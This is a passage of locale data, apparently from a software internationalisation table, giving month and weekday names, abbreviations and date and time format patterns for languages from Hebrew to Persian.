- ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;Y;Y;A;S;O;N;D; - Janairu;Fabrairu;Maris;Afrilu;Mayu;Yuni;Yuli;Augusta;Satumba;Oktoba;Nuwamba;Disamba; - Jan;Fab;Mar;Afr;May;Yun;Yul;Aug;Sat;Okt;Nuw;Dis; - ;;;;;;;;;;;; - Lahadi;Litini;Talata;Laraba;Alhamis;Jumma'a;Asabar; - Lah;Lit;Tal;Lar;Alh;Jum;Asa; - ;;;;;;; - ;;;;;;; - ;;;;;;; - L;L;T;L;A;J;A; - - - Hebrew - Israel - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - לפנה"צ - אחה"צ - EEEE d MMMM yyyy - dd/MM/yy - HH:mm:ss v - HH:mm - ;;מרס;;;;;;;;;; - ;;מרס;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - ינואר;פברואר;מרץ;אפריל;מאי;יוני;יולי;אוגוסט;ספטמבר;אוקטובר;נובמבר;דצמבר; - ינו;פבר;מרץ;אפר;מאי;יונ;יול;אוג;ספט;אוק;נוב;דצמ; - ;;;;;;;;;;;; - יום ראשון;יום שני;יום שלישי;יום רביעי;יום חמישי;יום שישי;שבת; - א;ב;ג;ד;ה;ו;ש; - ;;;;;;; - ;;;;;;; - ;;;;;;; - א;ב;ג;ד;ה;ו;ש; - - - Hindi - India - 46 - 44 - 59 - 37 - 2406 - 45 - 43 - 101 - पूर्वाह्न - अपराह्न - EEEE d MMMM yyyy - d-M-yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - जनवरी;फरवरी;मार्च;अप्रैल;मई;जून;जुलाई;अगस्त;सितम्बर;अक्तूबर;नवम्बर;दिसम्बर; - जनवरी;फरवरी;मार्च;अप्रैल;मई;जून;जुलाई;अगस्त;सितम्बर;अक्तूबर;नवम्बर;दिसम्बर; - ;;;;;;;;;;;; - रविवार;सोमवार;मंगलवार;बुधवार;गुरुवार;शुक्रवार;शनिवार; - रवि;सोम;मंगल;बुध;गुरु;शुक्र;शनि; - ;;;;;;; - ;;;;;;; - ;;;;;;; - र;2;मं;4;गु;6;7; - - - Hungarian - Hungary - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - de. - du. - yyyy. MMMM d. - yyyy.MM.dd. - H:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;Á;M;J;J;A;S;O;N;D; - január;február;március;április;május;június;július;augusztus;szeptember;október;november;december; - jan.;febr.;márc.;ápr.;máj.;jún.;júl.;aug.;szept.;okt.;nov.;dec.; - ;;;;;;;;;;;; - vasárnap;hétfő;kedd;szerda;csütörtök;péntek;szombat; - V;H;K;Sze;Cs;P;Szo; - ;;;;;;; - ;;;;;;; - ;;;;;;; - V;H;K;S;C;P;S; - - - Icelandic - Iceland - 44 - 46 - 59 - 37 - 48 - 8722 - 43 - 101 - - - EEEE, d. MMMM yyyy - d.M.yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - j;f;m;a;m;j;j;á;s;o;n;d; - janúar;febrúar;mars;apríl;maí;júní;júlí;ágúst;september;október;nóvember;desember; - jan;feb;mar;apr;maí;jún;júl;ágú;sep;okt;nóv;des; - ;;;;;;;;;;;; - sunnudagur;mánudagur;þriðjudagur;miðvikudagur;fimmtudagur;föstudagur;laugardagur; - sun;mán;þri;mið;fim;fös;lau; - ;;;;;;; - ;;;;;;; - ;;;;;;; - s;m;þ;m;f;f;l; - - - Indonesian - Indonesia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE dd MMMM yyyy - dd/MM/yy - H:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januari;Februari;Maret;April;Mei;Juni;Juli;Agustus;September;Oktober;November;Desember; - Jan;Feb;Mar;Apr;Mei;Jun;Jul;Agu;Sep;Okt;Nov;Des; - ;;;;;;;;;;;; - Minggu;Senin;Selasa;Rabu;Kamis;Jumat;Sabtu; - Min;Sen;Sel;Rab;Kam;Jum;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Irish - Ireland - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d MMMM yyyy - dd/MM/yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;B;M;I;L;M;D;S;N; - Eanáir;Feabhra;Márta;Aibreán;Bealtaine;Meitheamh;Iúil;Lúnasa;Meán Fómhair;Deireadh Fómhair;Samhain;Nollaig; - Ean;Feabh;Márta;Aib;Beal;Meith;Iúil;Lún;MFómh;DFómh;Samh;Noll; - ;;;;;;;;;;;; - Dé Domhnaigh;Dé Luain;Dé Máirt;Dé Céadaoin;Déardaoin;Dé hAoine;Dé Sathairn; - Domh;Luan;Máirt;Céad;Déar;Aoine;Sath; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;C;D;A;S; - - - Italian - Italy - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - m. - p. - EEEE d MMMM yyyy - dd/MM/yy - HH.mm.ss v - HH.mm - Gennaio;Febbraio;Marzo;Aprile;Maggio;Giugno;Luglio;;;;;; - ;;;;;;;;;;;; - G;F;M;A;M;G;L;A;S;O;N;D; - gennaio;febbraio;marzo;aprile;maggio;giugno;Luglio;agosto;settembre;ottobre;novembre;dicembre; - gen;feb;mar;apr;mag;giu;lug;ago;set;ott;nov;dic; - ;;;;;;;;;;;; - domenica;lunedì;martedì;mercoledì;giovedì;venerdì;sabato; - dom;lun;mar;mer;gio;ven;sab; - ;;;;;;; - Domenica;Lunedì;Martedì;Mercoledì;Giovedì;Venerdì;Sabato; - ;;;;;;; - D;L;M;M;G;V;S; - - - Italian - Switzerland - 46 - 39 - 59 - 37 - 48 - 45 - 43 - 101 - m. - p. - EEEE, d MMMM yyyy - dd.MM.yy - HH.mm:ss 'h' v - HH.mm - Gennaio;Febbraio;Marzo;Aprile;Maggio;Giugno;Luglio;;;;;; - ;;;;;;;;;;;; - G;F;M;A;M;G;L;A;S;O;N;D; - gennaio;febbraio;marzo;aprile;maggio;giugno;Luglio;agosto;settembre;ottobre;novembre;dicembre; - gen;feb;mar;apr;mag;giu;lug;ago;set;ott;nov;dic; - ;;;;;;;;;;;; - domenica;lunedì;martedì;mercoledì;giovedì;venerdì;sabato; - dom;lun;mar;mer;gio;ven;sab; - ;;;;;;; - Domenica;Lunedì;Martedì;Mercoledì;Giovedì;Venerdì;Sabato; - ;;;;;;; - D;L;M;M;G;V;S; - - - Japanese - Japan - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - 午前 - 午後 - yyyy年M月d日EEEE - yy/MM/dd - H時mm分ss秒v - H:mm - ;;;;;;;;;;;; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - ;;;;;;;;;;;; - 日曜日;月曜日;火曜日;水曜日;木曜日;金曜日;土曜日; - 日;月;火;水;木;金;土; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 日;月;火;水;木;金;土; - - - Kannada - India - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - ಪೂರ್ವಾಹ್ನ - ಅಪರಾಹ್ನ - EEEE d MMMM yyyy - d-M-yy - hh:mm:ss a v - hh:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - ಜನವರೀ;ಫೆಬ್ರವರೀ;ಮಾರ್ಚ್;ಎಪ್ರಿಲ್;ಮೆ;ಜೂನ್;ಜುಲೈ;ಆಗಸ್ಟ್;ಸಪ್ಟೆಂಬರ್;ಅಕ್ಟೋಬರ್;ನವೆಂಬರ್;ಡಿಸೆಂಬರ್; - ಜನವರೀ;ಫೆಬ್ರವರೀ;ಮಾರ್ಚ್;ಎಪ್ರಿಲ್;ಮೆ;ಜೂನ್;ಜುಲೈ;ಆಗಸ್ಟ್;ಸಪ್ಟೆಂಬರ್;ಅಕ್ಟೋಬರ್;ನವೆಂಬರ್;ಡಿಸೆಂಬರ್; - ;;;;;;;;;;;; - ರವಿವಾರ;ಸೋಮವಾರ;ಮಂಗಳವಾರ;ಬುಧವಾರ;ಗುರುವಾರ;ಶುಕ್ರವಾರ;ಶನಿವಾರ; - ರ.;ಸೋ.;ಮಂ.;ಬು.;ಗು.;ಶು.;ಶನಿ.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Kazakh - Kazakhstan - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, d MMMM yyyy 'ж'. - dd.MM.yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - қаңтар;ақпан;наурыз;сәуір;мамыр;маусым;шілде;тамыз;қыркүйек;қазан;қараша;желтоқсан; - қаң.;ақп.;нау.;сәу.;мам.;мау.;шіл.;там.;қыр.;қаз.;қар.;желт.; - ;;;;;;;;;;;; - жексені;дуйсенбі;сейсенбі;сәренбі;бейсенбі;жұма;сенбі; - жс.;дс.;сс.;ср.;бс.;жм.;сһ.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Kinyarwanda - Rwanda - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Mutarama;Gashyantare;Werurwe;Mata;Gicuransi;Kamena;Nyakanga;Kanama;Nzeli;Ukwakira;Ugushyingo;Ukuboza; - mut.;gas.;wer.;mat.;gic.;kam.;nya.;kan.;nze.;ukw.;ugu.;uku.; - ;;;;;;;;;;;; - Ku cyumweru;Kuwa mbere;Kuwa kabiri;Kuwa gatatu;Kuwa kane;Kuwa gatanu;Kuwa gatandatu; - cyu.;mbe.;kab.;gtu.;kan.;gnu.;gnd.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Kirghiz - Kyrgyzstan - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Korean - RepublicOfKorea - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - 오전 - 오후 - yyyy년 M월 d일 EEEE - yy. M. d. - a hh시 mm분 ss초 v - a h:mm - 1월;2월;3월;4월;5월;6월;7월;8월;9월;10월;11월;12월; - 1월;2월;3월;4월;5월;6월;7월;8월;9월;10월;11월;12월; - 1월;2월;3월;4월;5월;6월;7월;8월;9월;10월;11월;12월; - 1월;2월;3월;4월;5월;6월;7월;8월;9월;10월;11월;12월; - 1월;2월;3월;4월;5월;6월;7월;8월;9월;10월;11월;12월; - ;;;;;;;;;;;; - 일요일;월요일;화요일;수요일;목요일;금요일;토요일; - 일;월;화;수;목;금;토; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 일;월;화;수;목;금;토; - - - Kurdish - Turkey - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yyyy-MM-dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Laothian - Lao - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEEທີ d MMMM G yyyy - d/M/yyyy - Hໂມງ mນາທີ ss ວິນາທີv - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - ມັງກອນ;ກຸມພາ;ມີນາ;ເມສາ;ພຶດສະພາ;ມິຖຸນາ;ກໍລະກົດ;ສິງຫາ;ກັນຍາ;ຕຸລາ;ພະຈິກ;ທັນວາ; - ມ.ກ.;ກ.ພ.;ມີ.ນ.;ມ.ສ..;ພ.ພ.;ມິ.ຖ.;ກ.ລ.;ສ.ຫ.;ກ.ຍ.;ຕ.ລ.;ພ.ຈ.;ທ.ວ.; - ;;;;;;;;;;;; - ວັນອາທິດ;ວັນຈັນ;ວັນອັງຄານ;ວັນພຸດ;ວັນພະຫັດ;ວັນສຸກ;ວັນເສົາ; - ອາ.;ຈ.;ອ.;ພ.;ພຫ.;ສກ.;ສ.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Latvian - Latvia - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy. 'gada' d. MMMM - yy.d.M - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janvāris;februāris;marts;aprīlis;maijs;jūnijs;jūlijs;augusts;septembris;oktobris;novembris;decembris; - Jan;Feb;Mar;Apr;Mai;Jūn;Jūl;Aug;Sep;Okt;Nov;Dec; - ;;;;;;;;;;;; - svētdiena;pirmdiena;otrdiena;trešdiena;ceturtdiena;piektdiena;sestdiena; - Sv;P;O;T;C;Pk;S; - ;;;;;;; - ;;;;;;; - ;Pr;ot;Tr;Ce;pk;Se; - S;P;O;T;C;P;S; - - - Lingala - DemocraticRepublicOfCongo - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - sánzá ya yambo;sánzá ya míbalé;sánzá ya mísáto;sánzá ya mínei;sánzá ya mítáno;sánzá ya motóbá;sánzá ya nsambo;sánzá ya mwambe;sánzá ya libwa;sánzá ya zómi;sánzá ya zómi na mɔ̌kɔ́;sánzá ya zómi na míbalé; - s1;s2;s3;s4;s5;s6;s7;s8;s9;s10;s11;s12; - ;;;;;;;;;;;; - eyenga;mokɔlɔ ya libosó;mokɔlɔ ya míbalé;mokɔlɔ ya mísáto;mokɔlɔ ya mínéi;mokɔlɔ ya mítáno;mpɔ́sɔ; - eye;m1;m2;m3;m4;m5;mps; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Lingala - PeoplesRepublicOfCongo - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - sánzá ya yambo;sánzá ya míbalé;sánzá ya mísáto;sánzá ya mínei;sánzá ya mítáno;sánzá ya motóbá;sánzá ya nsambo;sánzá ya mwambe;sánzá ya libwa;sánzá ya zómi;sánzá ya zómi na mɔ̌kɔ́;sánzá ya zómi na míbalé; - s1;s2;s3;s4;s5;s6;s7;s8;s9;s10;s11;s12; - ;;;;;;;;;;;; - eyenga;mokɔlɔ ya libosó;mokɔlɔ ya míbalé;mokɔlɔ ya mísáto;mokɔlɔ ya mínéi;mokɔlɔ ya mítáno;mpɔ́sɔ; - eye;m1;m2;m3;m4;m5;mps; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Lithuanian - Lithuania - 44 - 46 - 59 - 37 - 48 - 8722 - 43 - 101 - priešpiet - popiet - yyyy 'm'. MMMM d 'd'.,EEEE - yyyy-MM-dd - HH:mm:ss v - HH:mm - Sausis;Vasaris;Kovas;Balandis;Gegužė;Birželis;Liepa;Rugpjūtis;Rugsėjis;Spalis;Lapkritis;Gruodis; - ;;;;;;;;;;;; - S;V;K;B;G;B;L;R;R;S;L;G; - sausio;vasario;kovo;balandžio;gegužės;birželio;liepos;rugpjūčio;rugsėjo;spalio;lapkričio;gruodžio; - Sau;Vas;Kov;Bal;Geg;Bir;Lie;Rgp;Rgs;Spl;Lap;Grd; - ;;;;;;;;;;;; - sekmadienis;pirmadienis;antradienis;trečiadienis;ketvirtadienis;penktadienis;šeštadienis; - Sk;Pr;An;Tr;Kt;Pn;Št; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;P;A;T;K;P;Š; - - - Macedonian - Macedonia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, dd MMMM yyyy - dd.M.yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ј;ф;м;а;м;ј;ј;а;с;о;н;д; - јануари;февруари;март;април;мај;јуни;јули;август;септември;октомври;ноември;декември; - јан.;фев.;мар.;апр.;мај;јун.;јул.;авг.;септ.;окт.;ноем.;декем.; - ;;;;;;;;с;;н;; - недела;понеделник;вторник;среда;четврток;петок;сабота; - нед.;пон.;вт.;сре.;чет.;пет.;саб.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - н;п;в;с;ч;п;с; - - - Malay - BruneiDarussalam - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - dd MMMM yyyy - dd/MM/yyyy - h:mm:ss aa v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januari;Februari;Mac;April;Mei;Jun;Julai;Ogos;September;Oktober;November;Disember; - Jan;Feb;Mac;Apr;Mei;Jun;Jul;Ogos;Sep;Okt;Nov;Dis; - ;;;;;;;;;;;; - Ahad;Isnin;Selasa;Rabu;Khamis;Jumaat;Sabtu; - Ahd;Isn;Sel;Rab;Kha;Jum;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Malay - Malaysia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE dd MMM yyyy - dd/MM/yyyy - h:mm:ss a v - h:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januari;Februari;Mac;April;Mei;Jun;Julai;Ogos;September;Oktober;November;Disember; - Jan;Feb;Mac;Apr;Mei;Jun;Jul;Ogos;Sep;Okt;Nov;Dis; - ;;;;;;;;;;;; - Ahad;Isnin;Selasa;Rabu;Khamis;Jumaat;Sabtu; - Ahd;Isn;Sel;Rab;Kha;Jum;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Malayalam - India - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - yyyy, MMMM d, EEEE - dd-MM-yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ജ;ഫെ;മ;ഏ;മേ;ജൂ;ജൂ;ആ;സെ;ഒ;ന;ഡി; - ജനുവരി;ഫെബ്രുവരി;മാര്‍ച്ച്;ഏപ്രില്‍;മേയ്;ജൂണ്‍;ജൂലൈ;ഓഗസ്റ്റ്;സെപ്റ്റംബര്‍;ഒക്ടോബര്‍;നവംബര്‍;ഡിസംബര്‍; - ജനു;ഫെബ്രു;മാര്‍;ഏപ്രി;മേയ്;ജൂണ്‍;ജൂലൈ;ആഗ;സെപ്റ്റം;ഒക്ടോ;നവം;ഡിസം; - ;;;;;;;;;;;; - ഞായര്‍;തിങ്കള്‍;ചൊവ്വ;ബുധന്‍;വ്യാഴം;വെള്ളി;ശനി; - ഞാ;തി;ചൊ;ബു;വ്യാ;വെ;ശ; - ;;ചൊ;;;;; - ;തിങ്കളാഴ്ച;;;;;; - ;;;;;;; - ഞ;ത;ച;ബ;വ;വ;ശ; - - - Maltese - Malta - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - QN - WN - EEEE, d 'ta'’ MMMM yyyy - dd/MM/yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;Ġ;L;A;S;O;N;D; - Jannar;Frar;Marzu;April;Mejju;Ġunju;Lulju;Awissu;Settembru;Ottubru;Novembru;Diċembru; - Jan;Fra;Mar;Apr;Mej;Ġun;Lul;Awi;Set;Ott;Nov;Diċ; - ;;;;;;;;;;;; - Il-Ħadd;It-Tnejn;It-Tlieta;L-Erbgħa;Il-Ħamis;Il-Ġimgħa;Is-Sibt; - Ħad;Tne;Tli;Erb;Ħam;Ġim;Sib; - ;;;;;;; - ;;;;;;; - ;;;;;;; - Ħ;T;T;E;Ħ;Ġ;S; - - - Marathi - India - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - म.पू. - म.नं. - EEEE d MMMM yyyy - d-M-yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - जानेवारी;फेब्रुवारी;मार्च;एप्रिल;मे;जून;जुलै;ओगस्ट;सेप्टेंबर;ओक्टोबर;नोव्हेंबर;डिसेंबर; - जानेवारी;फेब्रुवारी;मार्च;एप्रिल;मे;जून;जुलै;ओगस्ट;सेप्टेंबर;ओक्टोबर;नोव्हेंबर;डिसेंबर; - ;;;;;;;;;;;; - रविवार;सोमवार;मंगळवार;बुधवार;गुरुवार;शुक्रवार;शनिवार; - रवि;सोम;मंगळ;बुध;गुरु;शुक्र;शनि; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Mongolian - China - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Хулгана;Үхэр;Бар;Туулай;Луу;Могой;Морь;Хонь;Бич;Тахиа;Нохой;Гахай; - хул;үхэ;бар;туу;луу;мог;мор;хон;бич;тах;нох;гах; - ;;;;;;;;;;;; - ням;даваа;мягмар;лхагва;пүрэв;баасан;бямба; - Ня;Да;Мя;Лх;Пү;Ба;Бя; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Mongolian - Mongolia - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Хулгана;Үхэр;Бар;Туулай;Луу;Могой;Морь;Хонь;Бич;Тахиа;Нохой;Гахай; - хул;үхэ;бар;туу;луу;мог;мор;хон;бич;тах;нох;гах; - ;;;;;;;;;;;; - ням;даваа;мягмар;лхагва;пүрэв;баасан;бямба; - Ня;Да;Мя;Лх;Пү;Ба;Бя; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Nepali - India - 46 - 44 - 59 - 37 - 2406 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - १;२;३;४;५;६;७;८;९;१०;११;१२; - जनवरी;फेब्रुअरी;मार्च;अप्रिल;मे;जुन;जुलाई;अगस्त;सेप्टेम्बर;अक्टोबर;नोभेम्बर;डिसेम्बर; - जन;फेब;मार्च;अप्रि;मे;जुन;जुला;अग;सेप्ट;अक्टो;नोभे;डिसे; - ;;;;;;;;;;;; - आइतबार;सोमबार;मङ्गलबार;बुधबार;बिहीबार;शुक्रबार;शनिबार; - आइत;सोम;मङ्गल;बुध;बिही;शुक्र;शनि; - ;;;;;;; - ;;;;;;; - ;;;;;;; - १;२;३;४;५;६;७; - - - Nepali - Nepal - 46 - 44 - 59 - 37 - 2406 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - १;२;३;४;५;६;७;८;९;१०;११;१२; - जनवरी;फेब्रुअरी;मार्च;अप्रिल;मे;जुन;जुलाई;अगस्त;सेप्टेम्बर;अक्टोबर;नोभेम्बर;डिसेम्बर; - जन;फेब;मार्च;अप्रि;मे;जुन;जुला;अग;सेप्ट;अक्टो;नोभे;डिसे; - ;;;;;;;;;;;; - आइतबार;सोमबार;मङ्गलबार;बुधबार;बिहीबार;शुक्रबार;शनिबार; - आइत;सोम;मङ्गल;बुध;बिही;शुक्र;शनि; - ;;;;;;; - ;;;;;;; - ;;;;;;; - १;२;३;४;५;६;७; - - - Norwegian - Norway - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - formiddag - ettermiddag - EEEE d. MMMM yyyy - dd.MM.yy - 'kl'. HH.mm.ss v - HH.mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - januar;februar;mars;april;mai;juni;juli;august;september;oktober;november;desember; - jan.;feb.;mars;apr.;mai;juni;juli;aug.;sep.;okt.;nov.;des.; - ;;;;;;;;;;;; - søndag;mandag;tirsdag;onsdag;torsdag;fredag;lørdag; - søn.;man.;tir.;ons.;tor.;fre.;lør.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;O;T;F;L; - - - Oriya - India - 46 - 44 - 59 - 37 - 2918 - 45 - 43 - 101 - - - MMMM d,EEEE, yyyy - dd-MM-yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - ଜାନୁଆରୀ;ଫେବ୍ରୁୟାରୀ;ମାର୍ଚ୍ଚ;ଅପ୍ରେଲ;ମେ;ଜୁନ;ଜୁଲାଇ;ଅଗଷ୍ଟ;ସେପ୍ଟେମ୍ବର;ଅକ୍ଟୋବର;ନଭେମ୍ବର;ଡିସେମ୍ବର; - ଜାନୁଆରୀ;ଫେବ୍ରୁୟାରୀ;ମାର୍ଚ୍ଚ;ଅପ୍ରେଲ;ମେ;ଜୁନ;ଜୁଲାଇ;ଅଗଷ୍ଟ;ସେପ୍ଟେମ୍ବର;ଅକ୍ଟୋବର;ନଭେମ୍ବର;ଡିସେମ୍ବର; - ;;;;;;;;;;;; - ରବିବାର;ସୋମବାର;ମଙ୍ଗଳବାର;ବୁଧବାର;ଗୁରୁବାର;ଶୁକ୍ରବାର;ଶନିବାର; - ରବି;ସୋମ;ମଙ୍ଗଳ;ବୁଧ;ଗୁରୁ;ଶୁକ୍ର;ଶନି; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Pashto - Afghanistan - 1643 - 1644 - 59 - 1642 - 1776 - 8722 - 43 - 101 - غ.م. - غ.و. - EEEE د yyyy د MMMM d - yyyy/M/d - H:mm:ss (v) - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - جنوري;فبروري;مارچ;اپریل;می;جون;جولای;اګست;سپتمبر;اکتوبر;نومبر;دسمبر; - 1;2;3;4;مـی;جون;7;8;9;10;11;12; - ;;;;;;;;;;;; - یکشنبه;دوشنبه;سه‌شنبه;چهارشنبه;پنجشنبه;جمعه;شنبه; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Persian - Afghanistan - 1643 - 1644 - 1563 - 1642 - 1776 - 8722 - 43 - 101 - قبل از ظهر - بعد از ظهر - EEEE d MMMM yyyy GGGG - yy/M/d - H:mm:ss (vvvv) - H:mm - ژانویه;فوریه;مارس;آوریل;مه;ژوئن;ژوئیه;اوت;سپتامبر;اکتبر;نوامبر;دسامبر; - ;;;;;;;;;;;; - ج;ف;م;ا;م;ج;ج;ا;س;ا;ن;د; - جنوری;فبروری;مارچ;اپریل;می;جون;جولای;اگست;سپتمبر;اکتوبر;نومبر;دسمبر; - جنو;فوریهٔ;مارس;آوریل;مـی;جون;جول;اوت;سپتامبر;اکتبر;نوامبر;دسم; - ;;;;;;;;;;;; - یکشنبه;دوشنبه;سه‌شنبه;چهارشنبه;پنجشنبه;جمعه;شنبه; - یکشنبه;دوشنبه;سه‌شنبه;چهارشنبه;پنجشنبه;جمعه;شنبه; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ی;د;س;چ;پ;ج;ش; - - - Persian - Iran - 1643 - 1644 - 1563 - 1642 - 1776 - 8722 - 43 - 101 - قبل از ظهر - بعد از ظهر - EEEE d MMMM yyyy GGGG - yy/M/d - H:mm:ss (vvvv) - H:mm - ژانویه;فوریه;مارس;آوریل;مه;ژوئن;ژوئیه;اوت;سپتامبر;اکتبر;نوامبر;دسامبر; - ;;;;;;;;;;;; - ژ;ف;م;آ;م;ژ;ژ;ا;س;ا;ن;د; - ژانویهٔ;فوریهٔ;مارس;آوریل;مهٔ;ژوئن;ژوئیهٔ;اوت;سپتامبر;اکتبر;نوامبر;دسامبر; - 